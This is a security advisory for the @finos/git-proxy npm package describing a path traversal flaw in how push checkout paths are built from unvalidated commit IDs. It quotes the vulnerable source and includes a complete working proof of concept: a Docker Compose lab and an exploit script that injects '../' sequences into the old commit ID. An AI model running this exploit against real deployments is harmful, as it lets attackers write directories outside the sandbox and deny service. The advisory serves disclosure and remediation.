All advisories

Path Traversal in Git Push Checkout

finos/git-proxy / GHSA-p8rw-f2r2-3qhf

Affected packages

@finos/git-proxy npm
Affected versions<= 2.1.1
Patched versionsNot specified

Description

Path Traversal in Git Push Checkout

Summary

GitProxy builds the on-disk path for a push's temporary checkout directly from the old and new commit IDs in the git-receive-pack request, without validating that they are real 40-character hex SHAs. By putting ../ sequences in the old commit ID, an authorized pusher makes that checkout path resolve outside the intended ./.remote sandbox, causing the proxy to create (and recursively delete) attacker-chosen directories elsewhere on disk as its service account.

Detail

The root cause is unvalidated input used to construct a filesystem path, combined with an unconfined recursive filesystem sink. GitProxy implicitly trusts that the object IDs in a ref-update line are well-formed Git SHAs — true for a normal git client, but GitProxy is the trust boundary, and the entire git-receive-pack body is attacker-controlled.

1. The old/new commit IDs are accepted without any format validation. In parsePush.ts the ref-update line is only split structurally — it must contain refs/heads/, and after splitting on spaces it must yield three fields:

// src/proxy/processors/push-action/parsePush.ts:74-89
const [commitParts] = refUpdates[0].split('\0');
const parts = commitParts.split(' ');
if (parts.length !== 3) { /* reject */ }
const [oldCommit, newCommit, ref] = parts;   // <-- no `^[0-9a-f]{40}$` check
action.branch = ref.replace(/\0.*/, '').trim();
action.setCommit(oldCommit, newCommit);        // <-- tainted value enters action.id

Any string with no spaces passes, including ../../mnt/evidence/x. There is no check that oldCommit/newCommit are 40-hex (or the all-zero sentinel).

2. The raw value becomes a path via plain string concatenation, with no normalization or containment. Action.setCommit() makes it part of the action id, and PullRemoteBase makes the id part of the checkout path:

// src/proxy/actions/Action.ts:126-130
setCommit(commitFrom: string, commitTo: string): void {
  this.commitFrom = commitFrom;
  this.commitTo = commitTo;
  this.id = `${commitFrom}__${commitTo}`;       // attacker controls commitFrom
}

// src/proxy/processors/push-action/PullRemoteBase.ts:42-52  (REMOTE_DIR = './.remote')
protected async setupDirectories(action: Action): Promise<void> {
  action.proxyGitPath = `${PullRemoteBase.REMOTE_DIR}/${action.id}`;  // ./.remote/<id>
  if (fs.existsSync(action.proxyGitPath)) { throw /* concurrency guard */ }
  await this.ensureDirectory(PullRemoteBase.REMOTE_DIR);
  await this.ensureDirectory(action.proxyGitPath);   // mkdir(recursive) on the ESCAPED path
}

Neither call uses path.resolve nor verifies the result stays under ./.remote, so the .. segments survive and are resolved by the OS. The proxy runs with cwd = /app, so oldCommit = ../../mnt/evidence/x makes proxyGitPath = ./.remote/../../mnt/evidence/x__<sha> resolve to /mnt/evidence/x__<sha> — two levels above the sandbox.

3. The path reaches recursive filesystem sinks with no boundary check. ensureDirectory is a recursive mkdir, and the cleanup path is a recursive rmSync:

// PullRemoteBase.ts:36 — ensureDirectory()
await fs.promises.mkdir(targetPath, { recursive: true, mode: 0o755 });

// PullRemoteBase.ts:82-83 — exec() catch (and post-processor clearBareClone)
if (action.proxyGitPath && fs.existsSync(action.proxyGitPath))
  fs.rmSync(action.proxyGitPath, { recursive: true, force: true });

Why the escape is durable, not transient. The if (fs.existsSync(proxyGitPath)) throw line is a concurrency guard — it only stops re-using an existing path, not creating a new one outside the sandbox. And the cleanup rmSync deletes only the leaf proxyGitPath; every intermediate parent the recursive mkdir created is left behind. So a payload like ../../mnt/evidence/<id>/x leaves /mnt/evidence/<id> on disk permanently.

Why the ACL checks don't help. checkAuthorEmails and checkUserPushPermission (which run before pullRemote) validate the committer email parsed from the PACK, not the ref-update IDs — so poisoning the old ID passes straight through to the sink.

In short: a value that is structurally an OID is accepted unverified from an untrusted source and used as an unconfined path component for recursive directory creation and deletion — the textbook shape of CWE-22.

Reproduce

You need Docker + Docker Compose and a clone of the GitProxy repository (the harness builds the proxy image from its source). Follow these steps; copy the file contents exactly.

Step 1 — make a work folder one level under the repo root. (The compose file below references the repo via ../.., so it must sit directly under the repo root.)

cd <your-git-proxy-checkout>
mkdir repro && cd repro

Step 2 — create docker-compose.yml:

name: gitproxy-poc-traversal

services:
  git-proxy:
    build: { context: ../.., dockerfile: Dockerfile } # repo root
    command: ['node', 'dist/index.js', '--config', '/app/test-e2e.proxy.config.json']
    volumes:
      - ../../test-e2e.proxy.config.json:/app/test-e2e.proxy.config.json:ro
      - ./evidence:/mnt/evidence # shared mount used to observe the escape
    depends_on:
      mongodb: { condition: service_healthy }
      git-server: { condition: service_healthy }
    networks: [poc-net]
    environment:
      - NODE_ENV=test
      - CONFIG_FILE=/app/test-e2e.proxy.config.json
      - GIT_PROXY_UI_PORT=8081
      - GIT_PROXY_SERVER_PORT=8000
      - NODE_TLS_REJECT_UNAUTHORIZED=0
      - ALLOWED_ORIGINS=
    healthcheck:
      test: ['CMD-SHELL', 'curl -sf http://localhost:8081/api/v1/healthcheck || exit 1']
      interval: 5s
      timeout: 5s
      retries: 12
      start_period: 10s

  mongodb:
    image: mongo:7
    networks: [poc-net]
    environment: [MONGO_INITDB_DATABASE=gitproxy]
    healthcheck:
      test: ['CMD', 'mongosh', '--eval', "db.adminCommand('ping')"]
      interval: 5s
      timeout: 5s
      retries: 12
      start_period: 5s

  git-server:
    build: { context: ../../localgit }
    environment: [GIT_HTTP_EXPORT_ALL=true]
    networks: [poc-net]
    hostname: git-server
    healthcheck:
      test:
        [
          'CMD-SHELL',
          'GIT_TERMINAL_PROMPT=0 GIT_SSL_NO_VERIFY=1 git ls-remote https://admin:admin123@localhost:8443/test-owner/test-repo.git HEAD || exit 1',
        ]
      interval: 5s
      timeout: 5s
      retries: 12
      start_period: 5s

  exploit:
    build: { context: ., dockerfile: Dockerfile }
    depends_on:
      git-proxy: { condition: service_healthy }
    networks: [poc-net]
    volumes:
      - ./evidence:/mnt/evidence
    environment:
      - PROXY_API=http://git-proxy:8081
      - PROXY_GIT=http://git-proxy:8000
      - UPSTREAM=git-server:8443
      - EVIDENCE_DIR=/mnt/evidence
      - NODE_TLS_REJECT_UNAUTHORIZED=0

networks:
  poc-net: { driver: bridge }

Step 3 — create Dockerfile (the exploit client image):

FROM node:20-slim
RUN apt-get update \
  && apt-get install -y --no-install-recommends git ca-certificates \
  && rm -rf /var/lib/apt/lists/*
WORKDIR /poc
COPY exploit.mjs ./
ENV NODE_TLS_REJECT_UNAUTHORIZED=0
CMD ["node", "exploit.mjs"]

Step 4 — create exploit.mjs:

import { execSync } from 'node:child_process';
import fs from 'node:fs';
import os from 'node:os';
import path from 'node:path';

const API = process.env.PROXY_API || 'http://git-proxy:8081';
const GIT = process.env.PROXY_GIT || 'http://git-proxy:8000';
const UPSTREAM = process.env.UPSTREAM || 'git-server:8443';
const EVIDENCE = process.env.EVIDENCE_DIR || '/mnt/evidence';

const admin = { username: 'admin', password: 'admin' }; // git-proxy admin
const user = {
  username: 'testuser',
  password: 'user123',
  email: 'testuser@example.com', // maps to an authorized pusher
  gitAccount: 'testuser',
};
const upstreamAuth = 'Basic ' + Buffer.from('admin:admin123').toString('base64');
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));

async function login(u, p) {
  for (let i = 0; i < 40; i++) {
    try {
      const r = await fetch(`${API}/api/auth/login`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ username: u, password: p }),
      });
      if (r.ok) { const c = r.headers.get('set-cookie'); if (c) return c; }
    } catch {}
    await sleep(1000);
  }
  throw new Error('login timed out');
}

async function seedAuthorizedPusher() {
  const cookie = await login(admin.username, admin.password);
  const cu = await fetch(`${API}/api/auth/create-user`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json', Cookie: cookie },
    body: JSON.stringify({ ...user, admin: false }),
  });
  if (!cu.ok) {
    const t = await cu.text();
    if (!t.includes('already exists')) throw new Error(`create-user failed: ${cu.status} ${t}`);
  }
  const repos = await (await fetch(`${API}/api/v1/repo`, { headers: { Cookie: cookie } })).json();
  const repo = repos.find((r) => r.url === 'https://git-server:8443/test-owner/test-repo.git');
  if (!repo?._id) throw new Error('test-repo not registered in git-proxy');
  await fetch(`${API}/api/v1/repo/${repo._id}/user/push`, {
    method: 'PATCH',
    headers: { 'Content-Type': 'application/json', Cookie: cookie },
    body: JSON.stringify({ username: user.username }),
  });
}

function pktLine(payload) {
  const len = (4 + Buffer.byteLength(payload)).toString(16).padStart(4, '0');
  return Buffer.from(len + payload, 'utf8');
}

function buildPackfile() {
  const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'pack-'));
  const g = (a) => execSync(`git ${a}`, { cwd: tmp, stdio: ['ignore', 'pipe', 'ignore'] });
  g('init -q -b main .');
  g(`config user.name "${user.gitAccount}"`);
  g(`config user.email "${user.email}"`);
  fs.writeFileSync(path.join(tmp, 'poc.txt'), 'path-traversal-poc\n');
  g('add poc.txt');
  g('-c commit.gpgsign=false commit -q -m "poc traversal"');
  const sha = g('rev-parse HEAD').toString().trim();
  const pack = execSync('git rev-list --objects HEAD | git pack-objects --stdout', {
    cwd: tmp, maxBuffer: 64 * 1024 * 1024, stdio: ['ignore', 'pipe', 'ignore'],
  });
  fs.rmSync(tmp, { recursive: true, force: true });
  return { sha, pack };
}

(async () => {
  console.log('[poc] seeding authorized pusher (testuser) ...');
  await seedAuthorizedPusher();

  const runId = `escape-${Date.now()}`;
  const target = path.join(EVIDENCE, runId);
  if (fs.existsSync(target)) throw new Error(`stale evidence: ${target}`);

  const { sha, pack } = buildPackfile();

  // ./.remote/../../mnt/evidence/<runId>/x__<sha>  ->  /mnt/evidence/<runId>/x__<sha>
  const oldOid = `../../mnt/evidence/${runId}/x`;
  const ref = `refs/heads/poc-${Date.now()}`;
  const body = Buffer.concat([
    pktLine(`${oldOid} ${sha} ${ref}\0report-status\n`),
    Buffer.from('0000'),
    pack,
  ]);

  const url = `${GIT}/${UPSTREAM}/test-owner/test-repo.git/git-receive-pack`;
  console.log(`[poc] malicious old-OID = ${oldOid}`);
  const res = await fetch(url, {
    method: 'POST',
    headers: {
      'User-Agent': 'git/2.40.0',
      Accept: 'application/x-git-receive-pack-result',
      'Content-Type': 'application/x-git-receive-pack-request',
      Authorization: upstreamAuth,
    },
    body,
  });
  console.log(`[poc] proxy responded HTTP ${res.status} (status irrelevant; we check the FS)`);
  await sleep(500);

  if (fs.existsSync(target)) {
    console.log(`\n[RESULT] CONFIRMED — proxy created ${target} OUTSIDE /app/.remote`);
    process.exit(0);
  }
  console.log(`\n[RESULT] NOT REPRODUCED — ${target} was not created`);
  process.exit(1);
})().catch((e) => { console.error('[poc] error:', e); process.exit(2); });

Step 5 — run it:

mkdir -p evidence && chmod 777 evidence   # proxy runs as UID 1000, must be able to write here
docker compose build
docker compose up -d git-proxy            # also starts mongodb + git-server, waits for health
docker compose run --rm exploit           # runs the attack; exit 0 = confirmed
docker compose down -v                     # teardown

A successful run prints, and exits 0:

[poc] malicious old-OID = ../../mnt/evidence/escape-<ts>/x
[poc] proxy responded HTTP 200 (status irrelevant; we check the FS)
[RESULT] CONFIRMED — proxy created /mnt/evidence/escape-<ts> OUTSIDE /app/.remote

./evidence/escape-<ts>/ is also left on the host, owned by node (UID 1000) — proof the proxy process created it, outside its /app/.remote sandbox.

Impact

An authorized pusher (or, via the separate HTTP committer-email spoofing, an outsider who knows one allowed email for an onboarded repo) can make the proxy create — and, if the upstream clone succeeds, populate with a full clone — arbitrary directories outside its ./.remote sandbox, running as the proxy service account (UID 1000; /app is writable in the shipped container). This enables corruption/pollution of the proxy installation and persisted state, and denial of service (disk exhaustion or breaking the checkout workflow for every repo the instance serves). It does not grant code execution, data disclosure, or deletion of pre-existing files — the existsSync guard bounds destruction to content created during the request.